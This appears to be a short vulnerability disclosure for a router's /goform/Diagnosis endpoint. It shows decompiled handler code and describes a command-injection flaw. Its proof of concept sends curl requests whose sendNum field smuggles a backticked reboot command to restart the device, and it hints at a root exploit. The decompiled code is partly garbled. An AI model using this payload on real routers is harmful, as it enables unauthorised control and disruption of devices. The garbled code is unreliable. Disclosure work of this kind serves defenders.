







The picture above shows the latest firmware for this version

Vulnerability details

```
co overTime = websGetVar(a1, "overTime", "10");
    trHops = websGetVar(a1, "trHops", &word_4769AC);
    (websWrite)(a1, "HTTP/1.1 280 OK\nContent-type: text/plain\nPragma: no-cache\nCache-Control: no-cache\n\n");
    if ( !strcmp(pingAddr, "8.0.8.8") )
    goto LABEL_4;
    v7 = *doType;
    if ( v7 == '0' )
    {
        if ( !pSize )
            return websDone(a1, 200);
        v9 = atoi(pSize);
        if ( v9 <= 0 )
            return websDone(a1, 200);
        snprintf(v10, 1023, "ping -c %s -s %d -W %s %s > %s 2>&1", sendNum, v9, overTime, pingAddr, "/tmp/diagnosis");
    }
    labeL_4:
    puts("Error: Parameter is invalid");
    return websDone(a1, -200);
    }
    snprintf(v10, 1023, "traceroute -m %s %s > %s 2>&1", trHops, pingAddr, "/tmp/diagnosis");
    sub_45A954();
    snprintf(v11, 1023, "> *traceroute -m %s %s > %s 2>&1", trHops, pingAddr, "/tmp/diagnosis");
    snprintf(v11, 1023, "> *sw", "/tmp/diagnosis");
    return websDone(a1, 200);
}
```

Vulnerability occurs in /goform/Diagnosis, After the if condition is met, setnum will be spliced into v10 by snprintf, and finally system will be executed, resulting in a command injection vulnerability

Poc

The first thing you need to do is to get the tokenid

```
curl http://192.168.0.1/dir_login.asp | grep tokenid
```

Then run the following poc

```
curl -i -X POST http://192.168.0.1/goform/Diagnosis -d tokenid=xxxx -d
'pingAddr=192.168.0.1' -d 'sendNum=`reboot`'
```

Then you can see that the router restarts, and finally we can write an exp to get root